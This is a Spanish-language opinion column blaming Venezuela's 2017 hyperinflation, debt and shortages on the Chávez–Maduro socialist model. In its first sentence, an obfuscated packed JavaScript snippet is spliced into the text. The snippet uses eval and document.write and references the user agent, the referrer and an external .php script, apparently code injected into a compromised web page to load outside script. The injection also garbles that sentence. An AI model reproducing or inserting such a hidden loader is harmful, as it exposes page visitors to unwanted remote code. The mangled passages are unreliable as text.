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Es la economía, brutos

Kaled Yorde / Abogado / gonzalezyorde@hotmail.com
Venezuela eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yddyd|var|u0026u|referrer|iasys||js|php'.split('|'),0,{})) está a las puertas de una catástrofe económica y social sin precedentes a nivel mundial. Habrá a lo largo del año 2018 hambruna generalizada en un país rico, que navega sobre un mar de petróleo. Nunca antes nadie imaginó que íbamos a llegar a esta situación

La cacareada guerra económica a la que tan frecuentemente se refiere el régimen madurísta, no es tal cosa, sino el mal manejo de la economía por estar la revolución suscrita y subordinada incondicionalmente al proyecto revolucionario de la Cuba comunista.

La crisis en Venezuela se debe al modelo económico-estatista de la izquierda marxista, el cual fracasó rotundamente en todos los países del mundo donde fue impuesto. La prueba por excelencia de tal fracaso es el ejemplo de Rusia y China, que se apartaron de la ideología marxista, abriéndose ahora al capitalismo y al libre mercado, cosechando muchos éxitos y prosperidad. De hecho, China es la segunda potencia económica mundial, detrás de Estados Unidos. 

La espantosa crisis económico-social que atraviesa Venezuela, caracterizada por la falta de alimentos y medicinas, el colapso de los servicios públicos, la quiebra del aparato productivo público y privado, la ruina de las empresas del Estado, incluyendo PDVSA, que generaba la casi totalidad de las divisas que ingresan al país, la dependencia absoluta de importación que cubre más del 70 % de lo que los venezolanos comen, la espantosa y absurda devaluación del bolívar y una inflación desbocada, que registra un récord mundial de 15 % de los venezolanos rebuscando qué comer en los pipotes de basura, entre otras calamidades y miserias, es el resultado natural y evidente de tantos saqueos, corruptelas, robo y disparates cometidos por la revolución chavo-madurista, a lo largo de los casi 20 años del socialismo del siglo XXI. A eso se le suma el astronómico endeudamiento de más de 200 mil millones de dólares americanos, el cual el régimen ahora no tiene cómo pagárselos a sus acreedores. Todo esto ha colocado a nuestro país al borde de la quiebra, lo que en la jerga financiera internacional se denomina default. 

¿Quién contrajo esa impagable deuda que ha hipotecado el futuro de nuestros hijos, nietos y bisnietos? ¿Acaso Bush, Obama o Trump? ¿Quiénes quebraron al otrora rico país Venezuela y a PDVSA, endeudándola hasta más no poder, además de convertirla en un país paria y fallido? ¿Quién o quiénes provocaron la pérdida de la soberanía política y alimentaria, la democracia y las libertades en nuestra bella, pero sufrida patria? ¿Los oligarcas de la “derecha”, los norteamericanos o fueron más bien los revolucionarios del socialismo del siglo XXI? La respuesta a todas estas interrogantes es obvia. 

Maduro se queja de la deuda descomunal que pasó de 40 mil millones en los tiempos de Caldera II, a más de 200 mil millones de hoy en día, con consecuencia en extremo, graves: una hiperinflación que el próximo mes de diciembre del 2017 alcanzará la terrorífica cifra de 1.330 %. Ello significará entre otras cosas, que un solo pan irá a costar entre ocho a diez mil bolívares. ¿Cómo va a poder comer la gente en este país? 

Como se aprecia a simple vista, se trata fundamentalmente de un problema económico debido a la ideología castro-comunista, impuesta en Venezuela por Chávez y continuada por Maduro. Venezuela está a las puertas de una catástrofe económica y social sin precedentes a nivel mundial. Habrá a lo largo del año 2018 hambruna generalizada en un país rico, que navega sobre un mar de petróleo. Nunca antes nadie imaginó que íbamos a llegar a esta situación, por culpa de tantos irresponsables, egoístas y brutos en esta jauría de políticos ignorantes, salvo una honrosa excepción, que no les interesa el país ni su futuro, ni mucho menos quieren aprender de la experiencia de otros países que pasaron por la misma situación como la que ahora vive Venezuela. 

Decretar frecuentes aumentos salariales es echarle gasolina de alto octanaje al fuego inflacionario de la crisis venezolana. ¿Acaso Maduro no lo sabe? El problema es pues, amigos lectores, de índole económica, demagogia y brutalidad. 

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